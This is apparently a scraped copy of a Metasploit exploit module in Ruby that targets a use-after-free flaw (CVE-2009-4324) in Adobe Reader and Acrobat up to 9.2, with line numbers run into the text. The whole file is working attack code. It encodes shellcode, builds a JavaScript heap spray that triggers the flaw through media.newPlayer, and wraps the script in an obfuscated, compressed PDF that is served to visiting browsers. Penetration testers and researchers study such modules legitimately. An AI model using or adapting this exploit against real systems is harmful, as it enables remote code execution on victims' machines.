Path: blob/master/modules/exploits/windows/browser/adobe_media_newplayer.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',17'Description' => %q{18This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat19Professional versions up to and including 9.2.20},21'License' => MSF_LICENSE,22'Author' => [23'unknown', # Found in the wild24# Metasploit version by:25'hdm',26'pusscat',27'jduck',28'jabra'29],30'References' => [31[ 'CVE', '2009-4324' ],32[ 'BID', '37331' ],33[ 'OSVDB', '60980' ],34[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]35],36'DefaultOptions' => {37'EXITFUNC' => 'process',38},39'Payload' => {40'Space' => 1024,41'BadChars' => "\x00",42'DisableNops' => true43},44'Platform' => 'win',45'Targets' => [46# test results (on Windows XP SP3)47# reader 6.0.1 - vulnerable / doesn't work48# reader 7.0.5 - untested49# reader 7.0.8 - untested50# reader 7.0.9 - vulnerable / doesn't work51# reader 7.1.0 - untested52# reader 7.1.1 - untested53# reader 8.0.0 - untested54# reader 8.1.1 - works55# reader 8.1.2 - untested56# reader 8.1.3 - untested57# reader 8.1.4 - untested58# reader 8.1.5 - untested59# reader 8.1.6 - untested60# reader 9.0.0 - untested61# reader 9.1.0 - works62# reader 9.2 - works (no debugger, no DEP)63[64'Adobe Reader Windows English (JS Heap Spray)',65{66'Size' => (0x10000 / 2),67'Ret' => 0x0c0c0c0c68}69],70[71'Adobe Reader Windows German (JS Heap Spray)',72{73'Size' => (0x10000 / 2),74'Ret' => 0x0a0a0a0a75}76],77],78'DisclosureDate' => '2009-12-14',79'DefaultTarget' => 0,80'Notes' => {81'Reliability' => UNKNOWN_RELIABILITY,82'Stability' => UNKNOWN_STABILITY,83'SideEffects' => UNKNOWN_SIDE_EFFECTS84}85)86)87end8889def autofilter90false91end9293def check_dependencies94use_zlib95end9697def on_request_uri(cli, request)98# Encode the shellcode.99shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))100101# Make some nops102nops = Rex::Text.to_unescape([target.ret].pack('V'))103104# Randomize variables105#106len = 72107rand1 = rand_text_alpha(rand(100) + 1)108rand2 = rand_text_alpha(rand(100) + 1)109rand3 = rand_text_alpha(rand(100) + 1)110rand4 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')111rand5 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')112randnop = rand_text_alpha(rand(100) + 1)113114vtbuf = [target.ret].pack('V') * 4115vtbuf << rand_text_alpha(len - vtbuf.length)116vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')117retstring = Rex::Text.to_unescape(vtbuf)118119# The printd strings are 72 bytes (??)120script = %Q|121var #{randnop} = "#{nops}";122var #{rand1} = unescape("#{shellcode}");123var #{rand2} = unescape(#{randnop});124var #{rand3} = unescape("#{retstring}");125while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};126#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);127memory=new Array();128for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }129util.printd("#{rand4}", new Date());130util.printd("#{rand5}", new Date());131try {this.media.newPlayer(null);} catch(e) {}132util.printd(#{rand3}, new Date());133|134# Create the pdf135pdf = make_pdf(script)136137print_status("Sending #{self.name}")138139send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })140141handler(cli)142end143144def random_non_ascii_string(count)145result = ""146count.times do147result << (rand(128) + 128).chr148end149result150end151152def io_def(id)153"%d 0 obj" % id154end155156def io_ref(id)157"%d 0 R" % id158end159160# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/161def n_obfu(str)162result = ""163str.scan(/./u) do |c|164if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'165result << "#%x" % c.unpack("C*")[0]166else167result << c168end169end170result171end172173def ascii_hex_whitespace_encode(str)174result = ""175whitespace = ""176str.each_byte do |b|177result << whitespace << "%02x" % b178whitespace = " " * (rand(3) + 1)179end180result << ">"181end182183def make_pdf(js)184xref = []185eol = "\x0d\x0a"186endobj = "endobj" << eol187188pdf = "%PDF-1.5" << eol189pdf << "%" << random_non_ascii_string(4) << eol190xref << pdf.length191pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj192xref << pdf.length193pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj194xref << pdf.length195pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj196xref << pdf.length197pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj198xref << pdf.length199pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj200xref << pdf.length201compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))202pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol203pdf << "stream" << eol204pdf << compressed << eol205pdf << "endstream" << eol206pdf << endobj207xrefPosition = pdf.length208pdf << "xref" << eol209pdf << "0 %d" % (xref.length + 1) << eol210pdf << "0000000000 65535 f" << eol211xref.each do |index|212pdf << "%010d 00000 n" % index << eol213end214pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol215pdf << "startxref" << eol216pdf << xrefPosition.to_s() << eol217pdf << "%%EOF" << eol218end219end220221222